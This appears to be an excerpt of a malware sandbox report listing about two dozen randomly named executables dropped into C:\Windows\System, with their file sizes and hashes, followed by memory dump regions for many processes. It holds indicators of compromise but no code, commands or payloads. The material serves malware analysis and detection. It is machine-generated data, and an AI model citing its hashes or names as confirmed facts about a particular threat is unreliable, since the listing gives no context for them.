c7c9a69d3b09b200d0e02945f90f5ff471adc8a26b3f8c940a37183ed7a4228903ad6868fe774a378f85c1467b5edb05408e24437730690246fcda67f702920f

Download Submit
C:\Windows\System\cFtKDyi.exe

Filesize
1.8MB

MD5
f38b37bd343d5dcf4bab3ee2b39c4acb

SHA1
e4767ac5b1cf3aacdf045a38ec781ab96e8ddc88

SHA256
3beafaa7f12c0fbed621862c00c3047481941b00c87967658d5021aa3191cd38

SHA512
87a796dc0ea5430d636930f2a37c438861cf68a4ceb4f5c0e90cc2a0e32cbee12e7cb46bf17c092c4a82e57ce6c6d2655b4cde7fe2355dffadba0fd37b73024a

Download Submit
C:\Windows\System\dEdLRop.exe

Filesize
1.8MB

MD5
244f51e4480ef21e60f62a5493351974

SHA1
f3fdbe6880505dad6c853443f8e36649f766a108

SHA256
25123179ecc6297b04d8ff2b53d249b37f6d9d399b169c2492c354f8671e3ce0

SHA512
37030df0eeaa5489c2b6c05ddf11e105292251775b13370d484ba66bf4b183cb0be1d3be5d756351d785e8f10b63ad65309a3b3c154886566ad8495e5e33aa54

Download Submit
C:\Windows\System\dyPBzII.exe

Filesize
1.8MB

MD5
864c1c18af4adbad93adc7fbdf1d5116

SHA1
76ad517cdb3e20a4bac0552fa67e4c03eb7f84e0

SHA256
ffb41d76679ff9956404020aa45d165ee762064db41a722d886ba2b0c5716742

SHA512
cb52d3fae586eb694986c2c934d153bb7827c38e7d342dcc918ac16795ae37756f9a51ce803549cce16a2427bc821118e10e8b155eaa8d254c59ecca28116472

Download Submit
C:\Windows\System\eqpyVbi.exe

Filesize
1.8MB

MD5
2c9b5381abf42ec8d12a2dbf7cbb6e1c

SHA1
cbc6fe03bfea7dd38be4542806f2e75821332465

SHA256
95e8c02f88d76e4e4c0f544432fcd5a23b7d5687f8e20bfef3f07b439530501f

SHA512
4e54878cb86419aff63639af2c3bfaff430ba328747246c1a140e5a0ac00f555665257eb1f11c3fcd5937c2757894b10bf0ff042682364d535c0d446336ee50c

Download Submit
C:\Windows\System\gmRvWKF.exe

Filesize
1.8MB

MD5
d69693aaa56be9b0bc17f772d50fcdd5

SHA1
4ba8c37e129de7e437a8488e3dd6905dab10f2b6

SHA256
c5da8207bb73b5b7f97efcfb058bf5203d56325fd8b7d5a074b55f83f96bc91c

SHA512
bc3e4beebc2f2ecf0ec18aa5c268b3a437e3d4adb5a8a959b6e285791f323577b986167a0b51bbef7a6bcba3efc8daddbb7c58773ce50e2c154ab2c9298db5f7

Download Submit
C:\Windows\System\hOYuCiy.exe

Filesize
1.8MB

MD5
84386934f4236c2cd4af6ffe67a5f1b0

SHA1
39b239f78fc54644afedb978a7d6b0e67ed5ce2c

SHA256
554a6e61af0c88aea6a6f99211b33cad1da22ce49fcb843d1210e8596588d563

SHA512
9fe7062a406b012bf963a01ef1657ad580b9ed2e1a8b6df95d1ee185326bdd667f15465a0e34c187e8edead162f17041ef2c314849ae365abca1f7df73987f00

Download Submit
C:\Windows\System\iVkdrPX.exe

Filesize
1.8MB

MD5
ea2d3444747c0d1df924582e67c5bab2

SHA1
79d02416d6e189374ea63123ab8c759f13207b2c

SHA256
4b8a541ea68550e493a69494381b5f0c496d66c0ddc532c26d59415e4cfc688a

SHA512
57b8135ebb61e7ae6524b32b888b29d0016317ec1a6732aff8c4bb09b4bf250d55ddc9187be540228c89586744fea0f90e0f4c7b89dfe41634b5278cc9518686

Download Submit
C:\Windows\System\kaGKNFh.exe

Filesize
1.8MB

MD5
06fbdc108e03b884cc5594f5f851c051

SHA1
42195fe79f30970c5c5dcb4e92a291aba176bb2d

SHA256
4a29eda8d76d06395c1875518c7ccbd0b04fe18072c9d743981a3bde22c7aa36

SHA512
9e8b22551e108a9b7b005068770d748b54df5973ca47a86e72ac4c360a55d68bbf9aa8e904081085a070ee8352d8fe4be0b1b1043e4d27606a1038c7a247a472

Download Submit
C:\Windows\System\kiWFuCW.exe

Filesize
1.8MB

MD5
db0b8e1dc0f213aa156133fa0c82ca08

SHA1
14aa46a83596d5356b0791dacee50fc34f9fa47f

SHA256
9659e32b38779e810c4690b24218c996ec3a21a6cac77bb8fb7c65fe3b84a383

SHA512
e076cc0a6170375ccb05ecf8f579fff3723c570fbda287031ea679364e913040713f7393eb0c5c54dabab52769b1c543cb8dd7b085bbc27bb5ef750dc11b4239

Download Submit
C:\Windows\System\kzdUHDl.exe

Filesize
1.8MB

MD5
07eaa90cf47936fa040cd09c3fa58992

SHA1
5b04af3a06e5c34ed2b9a1f18b9a412941d13e6e

SHA256
c3045925b8ffeba77402415deaff2854d28a5462199b021f1909762b2ddeb16d

SHA512
22516e1efb874d9b27e35469a9706f82bd212e1473e1929a69a83113da3551e993a6604ef6f149cd47232c954cf5effc4cc00e4aa18ce0d3e20ae5952e7689ae

Download Submit
C:\Windows\System\lZumKdk.exe

Filesize
1.8MB

MD5
59c966dcf2a512756385db4d34d9c407

SHA1
1525eb1d0aff11dcc4ea4c4b075f2316ffc3bac8

SHA256
bdc47c180cb15f1652888fa3398f484a0d5d403ce5f4601d479df8b7ce72a78e

SHA512
8bb9735fcba113072b8065bdd9d8cc1a686600b50756c66e423a2a858bc2fd9576de3652d3d3885265e9c5dc278b035e9a9c3ac17dce170f4a50da271441219f

Download Submit
C:\Windows\System\mcTRBAM.exe

Filesize
1.8MB

MD5
0fd791cfa683d02c33a0dfe729598755

SHA1
04daab38988c6dc91b16054c4378fa9c9f9063c5

SHA256
4cff1fbf90c69356a94bf210d90f87596366d89c34ef6282c2e3ec34501df796

SHA512
043b9fbae4d2bf68f3da57ba9c6e9bffd84afded9e7183ab53af750e0db58784a60015d52cab657c9c3e21583985109365fdf4f86951a80f3c5c0a7691399e7b

Download Submit
C:\Windows\System\mgaficZ.exe

Filesize
1.8MB

MD5
6b56f8e1d362f775938b3384ca405aff

SHA1
26233653c9fd8546662c155ee5fbb873587b7c55

SHA256
9d8daad63661bd408a6662e92b71810e9e9acc2ae0e5eb0677fd250aa2e496cb

SHA512
ba0fe484e3af83de52d0054b5a91d36918f784080dabdc9e1273899ce5f8698c91b66d39c1ebb605e28ab9698c3ddeb150192ec0893c30c088f8918379c05390

Download Submit
C:\Windows\System\mpqtHxW.exe

Filesize
1.8MB

MD5
efac7ab7471e8f19c92d8fb0eb1c8823

SHA1
9fa7bbf0ef0c9cdef1bfce4cb5261f48725ba0a1

SHA256
2352aabf4b3da2362bb3ab84c0d5142234b8f7fa71ebbcc5b0aebb595765540e

SHA512
44a28c0db84758232e86459c923d1f836e385fe1cb37640fde0963c61309f0993925612c4fb4a59e233858229cfa1f4734dbf23a18b6c535d3a37022212e89ff

Download Submit
C:\Windows\System\ofKbpyo.exe

Filesize
1.8MB

MD5
5af1976c90e5f2fedf81df935aec1e70

SHA1
13563ad30dc1fce122d8973ac456c3f171dd8fbb

SHA256
1ccd60681de2fa0ebc5b07cbd7a9258f77dcd46885660706fb3521864e3941d3

SHA512
474341145874fd0550d1b66389acacfde72b67df5518b1ba7f389c17b6be1d160f5106039835787632701841e24a37d78d8890630d10a451a5d035a697870fc0

Download Submit
C:\Windows\System\pSAUuTq.exe

Filesize
1.8MB

MD5
16abafac9f52a486df73a2c458736e4b

SHA1
1f0dc8098e3a8db6ea7674720316708e7d6c82fd

SHA256
115c14fc6e6799bc2c69652b2170a504c508c2936051b641bd103d96b2a5c218

SHA512
2dc5d6ddabed048bf570ee00202da400c0e55007519108ea28a37d870589f3a4ab0182f01e7d73ec1eda4befb44c9ecddfccbd426d50fdaf2d8ad440288b2745

Download Submit
C:\Windows\System\pZzOJoJ.exe

Filesize
1.8MB

MD5
0e4f1405a3d36dbc50cf04d39357cb0a

SHA1
bbdbb6ef930c64142aba6573e73965ca5dd14466

SHA256
7f7040b05370738b0987f4917134d52f49bd1fd3b0421a20739b6519fb21175f

SHA512
8ae9cc90ed09b7e12cbbf501b2eb0de46376ed841142f5d221884c981b1090bcd891782049b3489a82abfeb0c561a43c649b2ca379d1a71fa0ea5b38837e5e38

Download Submit
C:\Windows\System\sJmNnpL.exe

Filesize
1.8MB

MD5
ab24fca21a4457684644f087923c32fb

SHA1
209b0d4570d95c405e1cad0e7d7ffaea5993bed7

SHA256
346b6c2844038820187425ae92b68885c2d20bc67eb98c6fedcbf557b10fa583

SHA512
bc797770591491ec4f923c2a1f689a5fd2697aaa341f53ce66875d00f58e6dcffd1a1693b590d040240e9105eaba58fe1b32bfe6160cce59dc56247bc0f97cc2

Download Submit
C:\Windows\System\uExFXVR.exe

Filesize
1.8MB

MD5
0915855b2e37c0a972767f47efc7faeb

SHA1
077936e3f1571fa1ddd7dc1d14eefd3ec878df77

SHA256
b68b39119a797701b0e85e15d5d21d1fad91c34e2edff3bd0e875999f4cd9700

SHA512
ca589301c33d1a0e5e767a3b59bb440c576b05ef64ad98aed374f4f63f6a2d3f743cc33f336340063e1ed62ef16f555c5b3d88fd07c87a7fcc7175f31de7aa15

Download Submit
C:\Windows\System\wMaIuqW.exe

Filesize
1.8MB

MD5
980d8aafde054270e7e2c899fbb32018

SHA1
ad79db9f8f76304244233f052a21fa3d2a0aab1c

SHA256
b802be22abf259459de79bb94461831312afd598e6e3ebc47dabe22f0f926d06

SHA512
2fa78a6f0f4590b63632828d6a2a1112cd9e130da13184ee40b09ec448a7a3ccd8f3fc085504f4dc2756353f3e3e8d99f0b109ca55843506b273e7248101f533

Download Submit
C:\Windows\System\yLEeEVZ.exe

Filesize
1.8MB

MD5
dc40ffb549ff8976f0a0790c0b06e906

SHA1
14813b43900a841e48c5da53a358e6657782cf39

SHA256
f713f91e160aa9aa12cdbd2ff8264989c0e792ebac6b8103be04765429732a3b

SHA512
132e75ba55e857aa4e3bed8713f7af6a6456bae9b5706a98ceeb1123d0f45ffff395591db8758ee55702a048d6441d9f4ab16ffbaf53e8bac9faf3679ec18df5

Download Submit
C:\Windows\System\yOMZUqQ.exe

Filesize
1.8MB

MD5
1604b025b4d6bcc422c2a7007c85db75

SHA1
258e8d3a4ebc0400c5865124e7150134f31b5ca0

SHA256
4e21d30954af8f636f1b8839cab6560094540361dcbdb051c209742e10508d3b

SHA512
cd6183516be19f4b7ed1dade8958d390fdd03cec2005d6cb442e5dece17c86e2b3b0858946fbb1e7d1ed3e89ddb7177865f5d8e8bf14e65790a7bbaccc4aa7de

Download Submit
memory/220-1-0x000001E50C350000-0x000001E50C360000-memory.dmp

Filesize
64KB

Download
memory/220-0-0x00007FF6B64E0000-0x00007FF6B68D2000-memory.dmp

Filesize
3.9MB

Download
memory/228-6081-0x00007FF621A80000-0x00007FF621E72000-memory.dmp

Filesize
3.9MB

Download
memory/228-346-0x00007FF621A80000-0x00007FF621E72000-memory.dmp

Filesize
3.9MB

Download
memory/632-51-0x00000214CFA60000-0x00000214CFA70000-memory.dmp

Filesize
64KB

Download
memory/632-46-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/632-413-0x00000214D09E0000-0x00000214D1186000-memory.dmp

Filesize
7.6MB

Download
memory/632-189-0x00000214CFA10000-0x00000214CFA32000-memory.dmp

Filesize
136KB

Download
memory/632-52-0x00000214CFA60000-0x00000214CFA70000-memory.dmp

Filesize
64KB

Download
memory/1152-6059-0x00007FF693BE0000-0x00007FF693FD2000-memory.dmp

Filesize
3.9MB

Download
memory/1152-164-0x00007FF693BE0000-0x00007FF693FD2000-memory.dmp

Filesize
3.9MB

Download
memory/1276-280-0x00007FF7B1E80000-0x00007FF7B2272000-memory.dmp

Filesize
3.9MB

Download
memory/1276-6102-0x00007FF7B1E80000-0x00007FF7B2272000-memory.dmp

Filesize
3.9MB

Download
memory/1512-238-0x00007FF7DD900000-0x00007FF7DDCF2000-memory.dmp

Filesize
3.9MB

Download
memory/1512-6078-0x00007FF7DD900000-0x00007FF7DDCF2000-memory.dmp

Filesize
3.9MB

Download
memory/1560-6070-0x00007FF6B10C0000-0x00007FF6B14B2000-memory.dmp

Filesize
3.9MB

Download
memory/1560-345-0x00007FF6B10C0000-0x00007FF6B14B2000-memory.dmp

Filesize
3.9MB

Download
memory/1924-308-0x00007FF712570000-0x00007FF712962000-memory.dmp

Filesize
3.9MB

Download
memory/1924-6108-0x00007FF712570000-0x00007FF712962000-memory.dmp

Filesize
3.9MB

Download
memory/2172-6053-0x00007FF767570000-0x00007FF767962000-memory.dmp

Filesize
3.9MB

Download
memory/2172-119-0x00007FF767570000-0x00007FF767962000-memory.dmp

Filesize
3.9MB

Download
memory/2464-220-0x00007FF6880E0000-0x00007FF6884D2000-memory.dmp

Filesize
3.9MB

Download
memory/2464-6076-0x00007FF6880E0000-0x00007FF6884D2000-memory.dmp

Filesize
3.9MB

Download
memory/2640-6050-0x00007FF63F0A0000-0x00007FF63F492000-memory.dmp

Filesize
3.9MB

Download
memory/2640-92-0x00007FF63F0A0000-0x00007FF63F492000-memory.dmp

Filesize
3.9MB

Download
memory/2892-6044-0x00007FF7B02C0000-0x00007FF7B06B2000-memory.dmp

Filesize
3.9MB

Download
memory/2892-175-0x00007FF7B02C0000-0x00007FF7B06B2000-memory.dmp

Filesize
3.9MB

Download
memory/3056-359-0x00007FF7D9A20000-0x00007FF7D9E12000-memory.dmp

Filesize
3.9MB

Download
memory/3056-6056-0x00007FF7D9A20000-0x00007FF7D9E12000-memory.dmp

Filesize
3.9MB

Download
memory/3140-6083-0x00007FF705860000-0x00007FF705C52000-memory.dmp

Filesize
3.9MB

Download
memory/3140-239-0x00007FF705860000-0x00007FF705C52000-memory.dmp

Filesize
3.9MB

Download
memory/3168-6041-0x00007FF733700000-0x00007FF733AF2000-memory.dmp

Filesize
3.9MB

Download
memory/3168-174-0x00007FF733700000-0x00007FF733AF2000-memory.dmp

Filesize
3.9MB

Download
memory/3596-6090-0x00007FF62BF50000-0x00007FF62C342000-memory.dmp

Filesize
3.9MB

Download
memory/3596-307-0x00007FF62BF50000-0x00007FF62C342000-memory.dmp

Filesize
3.9MB

Download
memory/3636-373-0x00007FF780D80000-0x00007FF781172000-memory.dmp

Filesize
3.9MB

Download
memory/3636-6117-0x00007FF780D80000-0x00007FF781172000-memory.dmp

Filesize
3.9MB

Download
memory/4404-6087-0x00007FF6DD350000-0x00007FF6DD742000-memory.dmp

Filesize
3.9MB

Download
memory/4404-253-0x00007FF6DD350000-0x00007FF6DD742000-memory.dmp

Filesize
3.9MB

Download
memory/4500-78-0x00007FF608FC0000-0x00007FF6093B2000-memory.dmp

Filesize
3.9MB

Download
memory/4500-6032-0x00007FF608FC0000-0x00007FF6093B2000-memory.dmp

Filesize
3.9MB

Download
memory/4524-122-0x00007FF782A40000-0x00007FF782E32000-memory.dmp

Filesize
3.9MB

Download
memory/4524-6063-0x00007FF782A40000-0x00007FF782E32000-memory.dmp

Filesize
3.9MB

Download
memory/4876-56-0x00007FF7CCB70000-0x00007FF7CCF62000-memory.dmp

Filesize
3.9MB

Download
memory/4876-6036-0x00007FF7CCB70000-0x00007FF7CCF62000-memory.dmp

Filesize
3.9MB

Download
memory/5004-6027-0x00007FF77CFA0000-0x00007FF77D392000-memory.dmp

Filesize
3.9MB

Download
memory/5004-342-0x00007FF77CFA0000-0x00007FF77D392000-memory.dmp

Filesize
3.9MB

Download
memory/5076-252-0x00007FF798400000-0x00007FF7987F2000-memory.dmp

Filesize
3.9MB

Download
memory/5076-6100-0x00007FF798400000-0x00007FF7987F2000-memory.dmp

Filesize
3.9MB

Download